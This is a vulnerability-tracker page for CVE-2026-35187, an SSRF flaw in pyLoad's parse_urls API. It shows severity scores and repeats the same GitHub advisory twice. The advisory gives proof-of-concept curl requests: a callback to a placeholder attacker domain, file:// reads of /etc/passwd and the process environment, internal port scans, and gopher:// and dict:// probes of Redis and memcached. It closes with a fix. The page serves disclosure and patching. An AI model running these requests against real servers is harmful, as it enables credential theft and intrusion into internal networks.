CVE-2026-35187

highPriorität · verfolgen · 0EPSS 0.003 · 19. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.27% (19th) EPSS
CVSS 7.7 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/__init__.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.7
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.1 · Auswirkung 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-2wvg-62qm-gj33pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter2026-04-04ghsa · osvUS

    ## Vulnerability Details **CWE-918**: Server-Side Request Forgery (SSRF) The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can: - Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - **Read local files** via `file://` protocol (pycurl reads the file server-side) - **Interact with internal services** via `gopher://` and `dict://` protocols - **Enumerate file existence** via error-based oracle (error 37 vs empty response) ### Vulnerable Code **`src/pyload/core/api/__init__.py` (line 556)**: ```python def parse_urls(self, html=None, url=None): if url: page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(RE_URLMATCH.findall(page)) ``` No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default. ## Steps to Reproduce ### Setup ```bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest ``` Log in as any user with ADD permission and extract the CSRF token: ```bash CSRF= ``` ### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration) ```bash curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls ``` **Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments. ### PoC 2: Local file read via file:// protocol ```bash # Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls # Response: {} # Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls # Response: {"error": "(37, \'Couldn't open file /nonexistent\')"} ``` The difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**. Files confirmed readable: - `/etc/passwd`, `/etc/hosts` - `/proc/self/environ` (process environment variables) - `/config/settings/pyload.cfg` (pyLoad configuration) - `/config/data/pyload.db` (SQLite database) ### PoC 3: Internal port scanning ```bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls # Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22') ``` ### PoC 4: gopher:// and dict:// protocol support ```bash curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls ``` Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.). ## Impact An authenticated user with ADD permission can: - **Read local files** via `file://` protocol (configuration, credentials, database files) - **Enumerate file existence** via error-based oracle (`Couldn't open file` vs empty response) - **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens) - **Scan internal network** services and ports via error-based timing - **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://` - **Exfiltrate data** via DNS/HTTP to attacker-controlled servers The multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF. ## Proposed Fix Restrict allowed protocols and validate target addresses: ```python from urllib.parse import urlparse import ipaddress import socket def _is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False except (socket.gaierror, ValueError): return False return True def parse_urls(self, html=None, url=None): if url: if not _is_safe_url(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = get_url(url) urls.update(RE_URLMATCH.findall(page)) ```

  • PYSEC-2026-2988pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter2026-07-13vendor · osvUS

    ## Vulnerability Details **CWE-918**: Server-Side Request Forgery (SSRF) The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can: - Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - **Read local files** via `file://` protocol (pycurl reads the file server-side) - **Interact with internal services** via `gopher://` and `dict://` protocols - **Enumerate file existence** via error-based oracle (error 37 vs empty response) ### Vulnerable Code **`src/pyload/core/api/__init__.py` (line 556)**: ```python def parse_urls(self, html=None, url=None): if url: page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(RE_URLMATCH.findall(page)) ``` No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default. ## Steps to Reproduce ### Setup ```bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest ``` Log in as any user with ADD permission and extract the CSRF token: ```bash CSRF= ``` ### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration) ```bash curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls ``` **Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments. ### PoC 2: Local file read via file:// protocol ```bash # Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls # Response: {} # Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls # Response: {"error": "(37, \'Couldn't open file /nonexistent\')"} ``` The difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**. Files confirmed readable: - `/etc/passwd`, `/etc/hosts` - `/proc/self/environ` (process environment variables) - `/config/settings/pyload.cfg` (pyLoad configuration) - `/config/data/pyload.db` (SQLite database) ### PoC 3: Internal port scanning ```bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls # Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22') ``` ### PoC 4: gopher:// and dict:// protocol support ```bash curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls ``` Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.). ## Impact An authenticated user with ADD permission can: - **Read local files** via `file://` protocol (configuration, credentials, database files) - **Enumerate file existence** via error-based oracle (`Couldn't open file` vs empty response) - **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens) - **Scan internal network** services and ports via error-based timing - **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://` - **Exfiltrate data** via DNS/HTTP to attacker-controlled servers The multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF. ## Proposed Fix Restrict allowed protocols and validate target addresses: ```python from urllib.parse import urlparse import ipaddress import socket def _is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False except (socket.gaierror, ValueError): return False return True def parse_urls(self, html=None, url=None): if url: if not _is_safe_url(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = get_url(url) urls.update(RE_URLMATCH.findall(page)) ```

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-06geändert 2026-07-24
08

Referenzen (8)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan